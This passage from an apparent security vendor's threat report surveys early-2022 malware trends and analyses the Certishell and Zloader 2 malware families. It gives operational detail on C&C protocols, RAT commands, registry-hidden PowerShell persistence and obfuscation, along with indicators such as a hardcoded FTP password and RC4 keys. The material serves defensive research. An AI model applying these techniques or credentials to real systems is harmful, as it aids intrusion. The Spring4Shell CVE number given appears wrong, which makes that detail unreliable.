Then there was the conflict in Ukraine, which showed the power of information technology and the importance of cyber security – because the fight happens not only on the battlefield but also in cyberspace, with DDOS attacks, data-stealing, exploitation, cyber espionage, and other techniques. But except for these countries involved in the war, everyday people looking for information are easy targets of malicious campaigns. One such campaign involved sending email messages with attached office documents that allegedly contained important information about the war. Unfortunately, these documents were just a way to infect people with Remcos RAT with the help of Microsoft Word RCE vulnerability CVE-2017-11882, thanks to which the attacker could easily infect unpatched systems.
As always, not only old known RATs showed up. This quarter brought us a few new ones as well. The first addition to our RAT list was IceBot. This RAT seems to be a creation of the APT group FIN7; it contains all usual basic capabilities as other RATs like taking screenshots, remote code execution, file transfer, and detection of installed AV.
Another one is Hodur. This RAT is a variant of PlugX (also known as Korplug), associated with Chinese APT organizations. Hodur differed, using a different encoding, configuration capabilities, and C&C commands. This RAT allows attackers to log keystrokes, manipulate files, fingerprint the system and more.
We mentioned that Kazakhstan is connected to a new RAT on this list. That RAT is called Borat RAT. The name is taken from the popular comedy film Borat where the main character Borat Sagdijev, performed by actor Sacha Baron Cohen, was presented as a Kazakh visiting the USA. Did you know that in reality the part of the film that should represent living in Kazakhstan village wasn’t even filmed there but in the Romanian village of Glod?
This RAT is a .NET binary and uses simple source-code obfuscation. The Borat RAT was initially discovered on hacking forums and contains many capabilities. Some features include triggering BSOD, anti-sandbox, anti-VM, password stealing, web-cam spying, file manipulation and more. As well as these baked-in features, it enables extensive module functionality. These modules are DLLs that are downloaded on demand, allowing the attackers to add multiple new capabilities. The list of currently available modules contains files “Ransomware.dll” used for encrypting files, “Discord.dll” for stealing Discord tokens, and many more.
Here you can see an example of the Borat RAT admin panel.
We also noticed that the volume of Python compiled and Go programming language ELF binaries for Linux increased this quarter. The threat actors used open source RAT projects (i.e. Bring Your Own Botnet or Ares) and legitimate services (e.g. Onion.pet, termbin.com or Discord) to compromise systems. We were also one of the first to protect users against Backdoorit and Caligula RATs; both of these malware families were written in Go and captured in the wild by our honeypots.
Samuel Sidor, Malware Researcher Jan Rubín, Malware Researcher David Àlvarez, Malware Researcher
Rootkits
In Q1/22, rootkit activity was reduced compared to the previous quarter, returning to the long-term value, as illustrated in the chart below.
The close-up view of Q1/22 demonstrates that January and February have been more active than the March period.
We have monitored various rootkit strains in Q1/22. However, we have identified that approx. 37% of rootkit activity is r77-Rootkit (R77RK) developed by bytecode77 as an open-source project under the BSD license. The rootkit operates in Ring 3 compared to the usual rootkits that work in Ring 0. R77RK is a configurable tool hiding files, directories, scheduled tasks, processes, services, connections, etc. The tool is compatible with Windows 7 and Windows 10. The consequence is that R77RK was captured with several different types of malware as a supporting library for malware that needs to hide malicious activity.
The graph below shows that China is still the most at-risk country in terms of protected users. Moreover, the risk in China has increased by about +58%, although total rootkit activity has been orders of magnitude lower compared to Q4/21. This phenomenon is caused by the absence of the Cerbu rootkit that was spread worldwide, so the main rootkit activity has moved back to China. Namely, the decrease in the rootkit activity has been observed in the countries as follows: Vietnam, Thailand, the Czech Republic, and Egypt.
In summary, the situation around the rootkit activity seems calmer compared to Q4/21, and China is still the most affected country in Q1/22. Noteworthy, the war in Ukraine has not increased the rootkit activity. Numerous malware authors have started using open-source solutions of rootkits, although these are very well detectable.
Martin Chlumecký, Malware Researcher
Technical support scams
After quite an active Q4/21 that overlapped with the beginning of Q1/22, technical support scams started to decline in inactivity. There were some small peaks of activity, but the significant wave of one particular campaign came at the end of Q1/22.
According to our data, the most targeted countries were the United States and Canada. However, we’ve seen instances of this campaign active even in other areas, like Europe, for example, France and Germany.
The distinctive sign of this campaign was the lack of a domain name and a specific path; this is illustrated in the following image.
During the beginning of March, we collected thousands of new unique domain-less URLs that have one significant and distinctive sign, their url path. After being redirected, an affected user loads a web page with a well-known recycled appearance, used in many previous technical support campaigns. In addition, several pop-up windows, the logo of well-known companies, antivirus-like messaging, cursor manipulation techniques, and even sounds are all there for one simple reason: a phone call to the phone number shown.
More than twenty different phone numbers have been used. Examples of such numbers can be seen in the following table:
1-888-828-5604
1-888-200-5532
1-877-203-5120
1-888-770-6555
1-855-433-4454
1-833-576-2199
1-877-203-9046
1-888-201-5037
1-866-400-0067
1-888-203-4992
Alexej Savčin, Malware Analyst
Traffic Direction System (TDS)
A new Traffic Direction System (TDS) we are calling Parrot TDS was very active throughout Q1/2022. The TDS has infected various web servers hosting more than 16,500 websites, ranging from adult content sites, personal websites, university sites, and local government sites.
Parrot TDS acts as a gateway for other malicious campaigns to reach potential victims. In this particular case, the infected sites’ appearances are altered by a campaign called FakeUpdate (also known as SocGholish), which uses JavaScript to display fake notices for users to update their browser, offering an update file for download. The file observed being delivered to victims is a remote access tool.
From March 1, 2022, to March 29, 2022, we protected more than 600,000 unique users from around the globe from visiting these infected sites. We protected the most in Brazil – over 73,000 individual users, in India – nearly 55,000 unique users, and more than 31,000 unique users from the US.
Map illustrating the countries Parrot TDS has targeted (in March)
Jan Rubín, Malware Researcher Pavel Novák, Threat Operations Analyst
Vulnerabilities and Exploits
Spring in Europe has had quite a few surprises for us, one of them being a vulnerability in a Java framework called, ironically, Spring. The vulnerability is called Spring4Shell (CVE-2022-22963), mimicking the name of last year’s Log4Shell vulnerability. Similarly to Log4Shell, Spring4Shell leads to remote code execution (RCE). Under specific conditions, it is possible to bind HTTP request parameters to Java objects. While there is a logic protecting classLoader from being used, it was not foolproof, which led to this vulnerability. Fortunately, the vulnerability requires a non-default configuration, and a patch is already available.
The Linux kernel had its share of vulnerabilities; a vulnerability was found in pipes, which usually provide unidirectional interprocess communication, that can be exploited for local privilege escalation. The vulnerability was dubbed Dirty Pipe (CVE-2022-0847). It relies on the usage of partially uninitialized memory of the pipe buffer during its construction, leading to an incorrect value of flags, potentially providing write-access to pages in the cache that were originally marked with a read-only attribute. The vulnerability is already patched in the latest kernel versions and has already been fixed in most mainstream Linux distributions.
First described by Trend Micro researchers in 2019, the SLUB malware is a highly targeted and sophisticated backdoor/RAT spread via browser exploits. Now, three years later, we detected its new exploitation attack, which took place in Japan and targeted an outdated Internet Explorer.
The initial exploit injects into winlogon.exe, which will, in turn, download and execute the final stage payload. The final stage did not change much since the initial report, and it still uses Slack as a C&C server but now uses file[.]io for data exfiltration.
This is an excellent example that old threats never really go away; they often continue to evolve and pose a threat.
Adolf Středa, Malware Researcher Jan Vojtěšek, Malware Reseracher
Mikrotik CVEs keep giving
It’s been almost four years since the very severe vulnerability CVE-2018-14847 targeting MikroTik devices first appeared. What seemed to be yet another directory traversal bug quickly escalated into user database and password leaks, resulting in a potentially disastrous vulnerability ready to be misused by cybercriminals. Unfortunately, the simplicity of exploiting and wide adoption of these devices and powerful features provided a solid foundation for various malicious campaigns being executed using these devices. It first started with injecting crypto mining javascript into pages script by capturing the traffic, poisoning the DNS cache, and incorporating these devices into botnets for DDoS and proxy purposes.
Unfortunately, these campaigns come in waves, and we still observe MikroTik devices being misused repeatedly. In Q1/22, we’ve seen a lot of exciting twists and turns, the most prominent of which was probably the Conti group leaks which also shed light on the TrickBot botnet. For quite some time, we knew that TrickBot abused MikroTik devices as proxy servers to hide the next tier of their C&C. The leaking of Conti and Trickbot infrastructure meant the end of this botnet. However, it also provided us clues and information about one of the vastest botnets as a service operation connecting Glupteba, Meris, crypto mining campaigns, and, perhaps also, TrickBot. We are talking about 230K devices controlled by one threat actor and rented out as a service. You can find more in our research Mēris and TrickBot standing on the shoulders of giants.
A few days before we published our research in March, a new story emerged describing the DDoS campaign most likely tied to the Sodinokibi ransomware group. Unsurprisingly most of the attacking devices were MikroTik again. A few days ago, we were contacted by security researchers from SecurityScoreCard. They have observed another DDoS botnet called Zhadnost targeting Ukrainian institutions and again using MikroTik devices as an amplification vector. This time, they were mainly misusing DNS amplification vulnerabilities.
We also saw one compelling instance of a network security incident potentially involving MikroTik routers. In the infamous cyberattack on February 24th against the Viasat KA-SAT service, attackers penetrated the management segment of the network and wiped firmware from client terminal devices.
The incident surfaced more prominently after the cyberattack paralyzed 11 gigawatts of German wind turbine production as a probable spill-over from the KA-SAT issue. The connectivity for turbines is provided by EuroSkyPark, one of the satellite internet providers using the KA-SAT network.
When we analyzed ASN AS208484, an autonomous system assigned to EuroSkyPark, we found 15 MikroTik devices with exposed TCP port 8728, which is used for API access to administer the devices. Also of concern, one of the devices had a port for an infamously vulnerable WinBox protocol port exposed to the Internet. As of now, all mentioned ports are closed and no longer accessible.
We also found SSH access remapped to non-standard ports such as 9992 or 9993. This is not typically common practice and may also indicate compromise. Attackers have been known to remap the ports of standard services (such as SSH) to make it harder to detect or even for the device owner to manage. However, this could also be configured deliberately for the same reason: to hide SSH access from plain sight.
CVE-2018-14847 vulnerable devices in percent by country
From all the above, it’s apparent that we can expect to see similar patterns and DDoS attacks carried not only by MikroTik devices but also by other vulnerable IoT devices in the foreseeable future. On a positive note, the number of MikroTik devices vulnerable to the most commonly misused CVEs is slowly decreasing as new versions of RouterOS (OS that powers the MikroTik appliances) are rolled out. Unfortunately, however, there are many devices already compromised, and without administrative intervention, they will continue to be used for malicious operations repeatedly.
We strongly recommend that MikroTik administrators ensure they have updated and patched to protect themselves and others.
If you are a researcher and you think you have seen MikroTik devices involved in some malicious activity, please consider contacting us if you need help or consultation; since 2018, we have built up a detailed understanding of these devices’ threat landscape.
Router OS major version 7 and above adoption
Martin Hron, Malware Researcher
Web skimming
In Q1/22, the most prevalent web skimming malicious domain was naturalfreshmall[.]com, with more than 500 e-commerce sites infected. The domain itself is no longer active, but many websites are still trying to retrieve malicious content from it. Unfortunately, it means that administrators of these sites still have not removed malicious code and these sites are likely still vulnerable. Avast protected 44k users from this attack in the first quarter.
The heatmap below shows the most affected countries in Q1/22 – Saudi Arabia, Australia, Greece, and Brazil. Compared to Q4/21, Saudi Arabia, Australia and Greece stayed at the top, but in Brazil, we protected almost two times more users than in the previous quarter. However, multiple websites were infected in Brazil, some with the aforementioned domain naturalfreshmall[.]com. In addition, we tweeted about philco.com[.]br, which was infected with yoursafepayments[.]com/fonts.css. And last but not least, pernambucanas.com[.]br was also infected with malicious javascript hidden in the file require.js on their website.
Overall the number of protected users remains almost the same as in Q4/21.
Pavlína Kopecká, Malware Analyst
Mobile-Related Threats
Adware/HiddenAds
Adware maintains its dominance over the Android threat landscape, continuing the trend from previous years. Generally, the purpose of Adware is to display out-of-context advertisements to the device user, often in ways that severely impact the user experience. In Q1/22, HiddenAds, FakeAdblockers, and others have spread to many Android devices; these applications often display device-wide advertisements that overlay the user’s intended activity or limit the app’s functionality by displaying timed ads without the ability to skip them.
Adware comes in various configurations; one popular category is stealthy installation. Such apps share common features that make them difficult for the user to identify. Hiding their application's icon from the home screen is a common technique, and using blank application icons to mask their presence. The user may struggle to identify the source of the intrusive advertisements, especially if the applications have an in-built delay timer after which they display the ads. Another Adware tactic is to use in-app advertisements that are overly aggressive, sometimes to the extent that they make the original app’s intended functionality barely usable. This is common, especially in games, where timed ads are often shown after each completed level; frequently, the ad screen time greatly exceeds the time spent playing the game.
The Google Play Store has previously been used to distribute malware, but recently, actors behind these applications have changed tactics to use browser pop-up windows and notifications to spread the Adware. These are intended to trick users into downloading and installing the application, often disguised as games, ad blockers, or various utility tools. Therefore, we strongly recommend that users avoid installing applications from unknown sources and be on the lookout for malicious browser notifications.
According to our data, India, the Middle East, and South America are the most affected regions. But Adware is not strictly limited to these regions; it’s prevalent worldwide.
As can be seen from the graph below, Adware’s presence in the mobile sphere has remained dominant but relatively unchanged. Of course, there’s slight fluctuation during each quarter, but there have been no stand-out new strains of Adware as of late.
Bankers
In Q1/2022, some interesting shifts were observed in the banking malware category. With Cerberus/Alien and its clones still leading the scoreboard by far, the battle for second place has seen a jump, where Hydra replaced the previously significant threats posed by FluBot. Additionally, FluBot has been on the decline throughout Q1..
Different banker strains have been reported to use the same distribution channels and branding, which we can also confirm observing. Many banking threats now reuse the proven techniques of masquerading as delivery services, parcel tracking apps, or voicemail apps.
After the departure of FluBot from the scene, we observed an overall slight drop in the number of affected users, but this seems only to be returning to the numbers we’ve observed in the last year, just before FluBot took the stage.
Most targeted countries remain to be Turkey, Spain and Australia.
PremiumSMS/Subscription scams
While PremiumSMS/Subscription related threats may not be as prevalent as in the previous years, they are certainly not gone for good. As reported in the Q4/21 report, a new wave of premium subscription-related scams keeps popping up. Campaigns such as GriftHorse or UltimaSMS made their rounds last year, followed by yet another similar campaign dubbed DarkHerring.
The main distribution channel for these seems to be Google Play, but they have also been observed being downloaded from alternative channels. Similar to before, this scam preys on the mobile operator’s subscription scheme, where an unsuspecting user is lured into giving out their phone number. The number is later used to register the victim to a premium subscription service. This can go undetected for a long time, causing the victim significant monetary loss due to the stealthiness of the subscription and hassle related to canceling such a subscription.
While the primary target of these campaigns seems to remain the same as in Q4/21 – targeting the Middle East, countries like Iraq, Jordan, but also Saudi Arabia, and Egypt – the scope has broadened and now includes various Asian countries as well – China, Malaysia and Vietnam amongst the riskiest ones.
As can be seen from the quarterly comparisons in the graph below, the spikes of activity of the respective campaigns are clear, with UltimaSMS and Grifthorse causing the spike in Q4/21. Darkherring is behind the Q1/22 spike.
Ransomware/Lockers
Ransomware apps and Lockers that target the Android ecosystem often attempt to ‘lock’ the user’s phone by disabling the navigation buttons and taking over the Android lock screen to prevent the user from interacting with the device and removing the malware. This is commonly accompanied by a ransom message requesting payment to the malware owner in exchange for unlocking the device.
Among the most prevalent Android Lockers seen in Q1/22 were Jisut, Pornlocker, and Congur. These are notorious for being difficult to remove and, in some cases, may require a factory reset of the phone. Some versions of lockers may even attempt to encrypt the user’s files; however, this is not frequently seen due to the complexity of encrypting files on Android devices.
The threat actors responsible for this malware generally rely on spreading through the use of third party app stores, game cheats, and adult content applications.
A common infection technique is to lure users through popular internet themes and topics – we strongly recommend that users avoid attempting to download game hacks and mods and ensure that they use reputable websites and official app stores.
In Q1/22, we’ve seen spikes in this category, mainly related to the Pornlocker family – apps masquerading as adult content providers – and were predominantly targeting users in Russia.
In the graph above, we can see the spike caused by the Pornlocker family in Q1/22.
Ondřej David, Malware Analysis Team Lead Jakub Vávra, Malware Analyst
Research of this malware family began when I found a malicious task starting powershell code directly from a registry key within our user base. I wasn’t expecting the surprise I’d arrived at when I began tracking its origins. Living in a smaller country, Czech Republic, it is a rare sight to see someone exclusively targeting the local Czech/Slovakaudience. The threat actor seems to have been creating malware since 2015 and appears to be from Slovakia. The bad actor’s repertoire contains a few RATs, some packers for cryptominers and, almost obligatorily, ransomware, and I have named the malware family Certishell. This person’s malware is spread with illegal copies of songs and movies and with alleged cracks and keygens of games and common tools (GTA SA, Mafia, Avast, Microsoft Office) that were hosted on one of the most popular Czech and Slovak file-sharing services uloz.to.
The Ceritshell family can be split into three different parts.
RAT with a C&C server sivpici.php5[.]sk (Czech/Slovak slang for “you are fucked up”), which has AutoIT, C++ and Go versions.
Miner downloaded from hacked websites and started with the script que.vbs from the task.
Miner or ransomware downloaded from hacked websites and launched from a powershell command hidden in registry keys. The command from the registry key is started with the task from the picture above.
The map above shows the risk ratio of users around who were at risk of encountering one of the malware families
Sivpici.php5.sk (2015-2018)
The oldest part of the family is a simple RAT with sivpici.php5[.]sk as the C&C server. It places all the needed files in the folder .win inside of the user folder.
The malware installer comes disguised as one of the following:
Cracked software, such as FixmyPC,
Fraud apps, like SteamCDKeys that share Steam keys,
Music CD unpackers with names like Extractor.exe or Heslo.exe (Heslo means password in Czech/Slovak) that come with a password protected archive with music files.
The malicious executable downloads an executable named UnRAR.exe and a malicious archive that contains a simple RAT written in C++, AutoIT or Go.
Installer
Every executable installing this malware family contains a script similar to the one in the following picture optionally with curl.exe. This script usually shows the password to archive or start another application. The malicious part downloads a legitimate RAR extractor UnRAR.exe and a malicious archive that can be password protected and unpacks it into the %UserProfile%\.win\folder. In the end it registers one of the unpacked files as a service, starts it and allows one of the binaries in the firewall.
I found six different methods used to pack the script into executable binary:
Bat2exe
Quick Batch File Compiler
Compiled AutoIT version
Compiled AutoIT version with obfuscated script
Compiled AutoIT version with obfuscated script and packed with PELock
Compiled AutoIT version with obfuscated script packed with VMProtect
RAT
There are three main variants of this RAT. All of them use the same C&C sivpici.php5[.]sk and similar communication protocol. The most advanced is a compiled AutoIT script. This script comes in 10 different main versions. The second one is written in C++ and we found only one main version and the last one is written in Go also with one main version.
The first time it is run, it generates a random alphanumeric string that works as an identificator for the C&C. This identificator is saved into file gen.gen for next start. The communication uses the HTTP protocol. Infected machines send the following back the C&C:
pc = ComputerName,
os = content of SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProductName,
uniq = generated identifier, saved in \.win\gen.gen
with the GET method to start.php.
After a random period of time, the malware starts asking for commands using the GET method with the parameter uniq. The response is a number that has fixed meanings throughout all the versions. Commands “1” – “7” are implemented as follows:
The RAT downloads a URL from /urlg.php using uniq, from this URL it downloads a file, packed.rar, then the RAT starts run.bat from the installation phase to UnRaR the package to the \.win\Lambda folder and restart the RAT. This allows the RAT to update itself and also download any other file necessary.
Create a screenshot and send it with the POST method to the up.php.
Send all file names from all drives to up.php.
DDoS attack to a chosen IP through UDP/HTTP/PING.
Get a list of all installed apps from HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall saves it to /.win/installed.txt and send them to up.php.
Get a list of all running processes, save it to /.win/processes.txt and send them to up.php.
Collect log from keylogger, save it to \.win\log.txt and send it to up.php.
The RAT in the form of compiled AutoIT script has the name Winhost.exe.
There is a comparison of different versions (versioning by the author of the RAT) in the following table.
Version
Commands
Notes
debugging
1
Command 2 opens a message box with text 222222
4
1 – 3
Registration of PC happens only once on reg.php and on connection it sends only the uniq and the version of the RAT to updaver.php
6
1 – 4
Opens /ad.php in a hidden Internet Explorer window once when the user is not interacting with the PC for at least 5 seconds and closes it after 30 seconds.
Version 9 adds coloring of keys, mouse movements and clipboard in the keylogger.
The C++ RAT is named dwms.exe. It uses LibCURL to communicate with the C&C. The communication protocol is the same. The uniq identifier is saved in the fr.fr file instead of gen.gen for the AutoIT version, it also starts communication by accessing connect.php instead of start.php.
I’ve managed to find a debugging version that only has the first command implemented and returns only “Command 2” and “Command 3” to the standard output for the second and third command. After every command it answers the C&C by sending uniq and verzia (“version” in English) with GET method to online.php.
The “production” version is labeled as version A. The code is divided into two functions:
LLLoad downloads the URL address of the C&C server from the pastebin and tests it by downloading /exists.txt.
RRRun that contains the first two commands as described above. It also uses /connect/ path for register.php, load.php, online.php and verzia.php.
To download newer versions it uses curl called from the command line.
Another difference is that screenshots taken are sent via FTP to a different domain: freetips.php5[.]sk/public_html/SHOT.bmp with the username sivpici and password A1B2C3D4.
The RAT written in Go only has the first command implemented, but it downloads /cnct/ad.txt and it opens URLs contained on victims computer, thus we speculate it could also work as adware.
IECache, bitly, pastebin (2016-2018)
The installation of this coinminer is similar to the RAT in the previous section. Installations use the same folder and the scripts have the same name. It usually comes as an unpacker of illegal copies of music and movies downloaded from uloz.to. It uses powershell to download and execute scripts from a bit.ly shortened address. The final stage is coinminer IECache.exe, which is usually XMRig.
Heslo.txt.exe, Crack.exe…
There is a huge variety of programs that download bit.ly-shortened Czech and Slovak sites and execute them. These programs include: GTA SA crack, Mafia, Microsoft Office, Sims, Lego Star Wars, and unpackers for music and movies. These programs usually print a message to the victim and run a malicious script in a hidden window.
The unpackers use UnRAR to unpack the archive and show the victim the password of that archive.
Unpacker of a music album written in Python and packed with Pyinstaller. It tries to use UnRAR.exe to unpack the music, if unsuccessful, it shows password “1234”.
The cracks on the other hand just show an error message.
Result of Patcher for Counter-Strike Global Offensive. After downloading and installing the malware from Sourceforge it shows an error from the picture above.
All the installation files execute the following command with some bitly shortened site:
There are VBA scripts calling it, basic programs possibly written in C, .Net, AutoIT scripts, Golang programs, Rust programs, Redlang programs, different packers of python and batches, some of them use UPX, MPRESS, VMprotect and PELock.
Red languageAutoITPyinstallerBat obfuscatorRust
Downloaded script
There are at least two new scripts created by the script from the site hidden behind the bit.ly shortened URL, que.vbs and run.bat.
The script also creates one of two services named Winmgr and Winservice that start que.vbs. Que.vbs only starts run.bat which downloads whats.txt contains a script downloading and starting coinminer IECache.exe.
In this case the pastebin contains two lines (the second line is splitted for better readability)
content of pastebin
The miner
The miner is saved as IECache.exe or ctfmon.exe.
The first miner (from June, 2018) is just XMRig that includes all command line options inside the binary.
Most of the miners of this type I found are packed with VMProtect or Themida/Winlicense.
The more interesting one (from Jun-Jul 2018) is a compiled AutoIT script packed with VMProtect. Here again, we see that author speaks Slovak:
This script contains the XMRig as (in some cases LZMA compressed) Base64 encoded string inside a variable. The miner is decoded and started in memory.
ODBASUJ64A is “decode base64” and ODLZMUJA is “LZMA decompress”.
In some versions, the script checks user activity and it starts different miners with different options to maximize profit with lower risk of being caught.
_PUSTITAM is executes an binary in memory
Newer samples (Since August, 2018) use sRDI or XOR encryption in memory and injection to a suspended process to hide from antivirus software.
Interesting files
Sourceforge and Github
Some of the samples used Sourceforge and Github to download malicious content, instead of small, possibly hacked websites.
It downloaded content from a repository WEB of user W33v3ly on Github and from user Dieworld on Sourceforge. On Github, the attacker once made a mistake and pushed Systemcall.exe and TestDLL.bin to the wrong repository.
The Systemcall.exe is a PE file without “MZ” in the beginning and Test.dll contains some random bytes before the PE file. The dll contains XMRig encrypted with TEA and the Systemcall.exe uses sRDI to load and run the Test.dll.
Steam Giver
This small application written in .Net shows some hacked Steam accounts.
The malicious part downloads and installs the following scripts and downloads UnRAR and begin.rar
Install.vbs creates a task named WinD2 that starts inv.vbs upon every PC startup. Inv.vbs starts runner.bat, which starts %temp%/Microsoft/NisSrve.exe that is unpacked from begin.rar with UnRAR.exe.
Free bet tips
Betters are also targeted. We found a malicious file with the following readme file:
The binary included only starts a cmd with the script as an argument.
All from registry keys since 2018
After 2018, I observed an updated version of the malware family. There is no need for any script file if you can have a command as a scheduled task and save enough data into registry keys.
The infection vector is the same as in the previous case. The victim downloads and runs an executable that downloads a powershell script from a hacked website whose URL is shortened with bit.ly. This time the script is different, it creates the following task:
This task reads the value of the registry key Shell placed in HKLM\Software\a and executes its content. The script also creates the Registry key.
Let’s focus on the value of the registry key Shell. In the following picture you will find the value I found on an infected machine.
After decoding and decompression we get an obfuscated script:
Under two layers of string formatting and replacing we get another compressed base64 encoded script:
Inside the base64 string is malicious code that tests the connection and executes code directly from the internet.
In total, I found about 40 different values of the Shell key in the wild that contain similar code with different URLs and they are obfuscated in the same way or less.
Some of the pastebins were alive. For example, one of them contains the following scripts that sends information about graphic cards to the C&C server, which can decide what to install on an infected computer. I have not found any C&C server alive.
Ransomware
Another final stage that runs from the registry keys is ransomware Athos.exe. At first it checks some tactics from https://blog.sevagas.com/IMG/pdf/BypassAVDynamics.pdf to check if it runs in the sandbox. On the sixth start it injects ransomware into another process that gets the id and encryption key from the web page googleprovider[.]ru. Then it encrypts all the files with AES-CFB and shows the following message saved on imgur (https://i.imgur[.]com/cKkSBSI.jpg).
Translation: Your files are encrypted. If you want them back, you need your ID that you can find in Athos_ID.txt on the desktop. Keep your ID secure, if you lose it, your files can’t be recovered!!! You can recover your files with the help of the website www.g…
We also found AutoIT ransomware King Ouroboros translated to Slovak. The malware was edited to use Windows users’ GUID as encryption key and to download additional content from a different server than the original King Ouroboros.
Most of the methods described in this article are not new, in some cases I was able to find their source. The most interesting method is hiding the powershell script to the registry keys.
As I found out, the author is a Slovak speaker, this corresponds with the fact that the infected files were published only on Uloz.to, therefore the victims are only from the Czech Republic and Slovakia.
The variation of the final payload is huge. I found three different RATs, a few different packers of coinminers and ransomware that were created by the author and many more that were “available” on the internet. The initial installer, which function was to call only one command, was also created with a huge variety of tools, some of them quite obscure.
To protect against this type of threat, it is enough to download software only from trustworthy sources and use security software, like Avast Antivirus, which will act as a safety net in case you should come across a threat.
In this study we are considering one of Zeus successors – Zloader 2. We’ll show how it works and its code peculiarities. We’ll present the result of our deep dive into the botnets and campaigns and show some interesting connections between Zloader and other malware families.
Introduction
Zloader 2 (also known as Silent Night) is a multifunctional modular banking malware, aimed at providing unauthorized access to online banking systems, payment systems and other financial-related services. In addition to these functions it’s able to download and execute arbitrary files, steal files, inject arbitrary code to visited HTML pages and so on.
History
According to ZeusMuseum, first versions of Zeus were observed in 2006-2008. Later, in 2011 its source code leaked. As a result, new versions and variants appeared. One of the Zeus successors named Zloaderappeared at the turn of 2016 and 2017. Finally, another successor named Silent Nightappeared in 2019. It was for sale on the underground market.
The earliest version of this variant we found has a SHA256: 384f3719ba4fbcf355cc206e27f3bfca94e7bf14dd928de62ab5f74de90df34a Timestamp 4 December 2019 and version number 1.0.2.0. In the middle of July 2021 the version 2.0.0.0 was spotted.
Microsoft recently announced a joint investigation of multiple security companies and information sharing and analysis centers (ISACs) with the aim to take down the Zloader botnet and took the whole case to court.
Although the original name of the malware likely was Silent Night and the ZeusMuseum calls it Zloader 2 we are simply going to use the name Zloader.
Technical analysis
Modules and components
Zloader consists of different modules and components:
Downloader – initial infector
Backdoor – main module, exists in x86 and x64 versions
VNC module (x86 and x64)
Web Injects – received from C&C
Additional libraries (openssl, sqlite, zlib, Mozilla libraries)
Backdoors, VNC modules and additional libraries have assigned module IDs that are used by other components to refer to them.
Distribution
Zloader was distributed using classic email spam. In 2021 the attackers abused Google AdWords to advertise sites with fake Zoom communication tool which actually installed Zloader. Another campaign in 2021 used fake pornsites, where users needed to download additional software to watch video. Downloaders are distributed in a packed form sometimes signed with a valid digital signature.
Map showing the distribution of infected systems:
Code peculiarities
Zloader code is very recognizable. First of all, it is diluted with functions which will never be called. Downloader module may contain functions from the Backdoor module and vice versa. In total, about a half of the code will never be called.
Second, simple x86 instructions like CMP, ADD and XOR are replaced with special functions. These functions contain a lot of useless code to complicate the analysis and they can call other “replacement” functions. To add more insult to the injury multiple “replacement” functions exist for a particular instruction. Also some constants are calculated in runtime using aforementioned “replacement” functions.
Strings are encrypted with a simple XOR algorithm.
Samples have very little imported functions. APIs are resolved in runtime by the hashes of their names.
As a result, more than a half of the file size is useless and serves as an obfuscation of simple operations.
Configuration
Both Downloader and Backdoor modules have built in configuration encrypted with RC4. The decryption key is stored in a plaintext and looks like vcvslrpvwwfanquofupxt. The structure of earlier versions (1.0.x, for example) differs from later versions (1.6.x and 1.8.x). Modern versions store the following information in config:
Botnet name (divader on the picture below)
Campaign name (xls_s_2010)
List of hardcoded C&Cs
RC4 key (03d5ae30a0bd934a23b6a7f0756aa504)
BinStorage
We have to briefly cover the BinStorage – the data format used by Zloader to communicate with C&Cs and to store various data: web injects, system information, stolen data and logs. BinStorages consists of the header and records (also called fields). Main header stores information about the number of records, data size (in bytes) and their MD5. Records have their own small headers, containing FieldID - DWORD describing the meaning of the data.
Some FieldIDs are hardcoded. For example, in FieldID=0x4E20 the last working C&C is stored. Other FieldIDs are derived from file paths (used to store stolen files).
Registry usage
Zloader modules (at least Downloaders and Backdoors) use a registry to store various data necessary for their work. The ROOT_KEY for this data is HKEY_CURRENT_USER\Software\Microsoft\
The most important and interesting data structure, stored by the Zloader in the registry is called MAIN_STRUCT. It’s subkey in the ROOT_KEY and the value name is derived from the RC4 key found in the configuration. We suppose that bots from one actor use the same RC4 key, so they can easily find and read the MAIN_STRUCT.
MAIN_STRUCT is encrypted using RC4 with the key from the configuration. It stores:
Registry paths to other storages, used by Zloader
Files and directories path, used by Zloader
Encryption key(s) to decrypt those storages
Files usage
Root path is %APPDATA%. Zloader creates directories with random names inside it to store modules, stolen data and logs. These paths are stored into the MAIN_STRUCT.
Networking
As was mentioned before, communication between the bot and C&C is done using BinStorages. Depending on the actual type of the message, field list may be changed, but there are 5 constant fields sent to C&C:
Some DWORD from the Configuration
Botnet name from the Configuration
BotID, derived from the system information
Debug flag from the Configuration
16 random bytes
Requests are encrypted using the RC4 key from the Configuration. C&C responses are signed with RSA.
PING request
This request is used to check if C&C is alive. Response contains only random bytes sent by a bot.
DOWNLOAD MODULE request
This request is used to download modules by their ID from the C&C. The response is not in a BinStorage form!
GET CONFIG request
Used to receive configuration updates: new C&Cs, WebInjects, tasks for downloading etc.
C&Cs and DGA
As was shown before, built in configuration has a list of hardcoded C&Cs. Actually, these lists have not changed for years. To bypass blocking of these hardcoded C&Cs, Zloader uses DGA – Domain Generation Algorithm. In the Zloader, DGA produces 32 domains, based on the current date and RC4 key from the configuration.
There is a 3rd type of C&Cs – received in the response from the server. They’re stored into the Registry.
Downloader module
Analysis based on version 1.6.28.0, 44ede6e1b9be1c013f13d82645f7a9cff7d92b267778f19b46aa5c1f7fa3c10b
Function of Downloader is to download, install and run the next module – the Backdoor.
Main function
Just after the start of the Downloader module, junk code is started. It consists of many junk functions, which forms a kind of a “network”. In the image below there is a call graph from just a single junk function. These functions also trying to read, write and delete some *.txt files %TEMP%. The purpose of this is to delay the execution of the payload and, We suppose, to complicate the emulation, debugging and analysis.
The second and the last task of the Main function is to start msiexec.exe and perform the PE injection of the code into it. Injected data consists of two buffers: the big one, where the Downloader is stored in the encrypted form and the small one (0x42 bytes) with decryption code. Just after the injection Downloader terminates himself.
Injected code
Control flow passed to the small buffer, which decrypts the Downloader in the address space of msiexec.exe After the decryption, Downloader begins to execute its main task.
First of all, the injected code tries to read MAIN_STRUCT from the registry. If this fails, it thinks it was not installed on this system and the installation process begins: MAIN_STRUCT is created, Downloader module is copied into %APPDATA% and added to the autorun key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with random value name.
In any case, the Backdoor module is requested from the disk or from the network and executed.
Backdoor module
Analysis based on version 1.6.28.0, c7441a27727069ce11f8d54676f8397e85301b4d65d4d722c6b239a495fd0282
There are actually two Backdoor modules: for 32-bit systems (moduleID 0x3EE) and for 64-bit systems (moduleID 0x3E9). Downloader always requests a 32-bit Backdoor.
Backdoors are much more complicated than Downloaders. If we compare the size of our samples (after unpacking), Backdoor will be twice bigger.
Key Backdoor abilities:
Starting VNC module
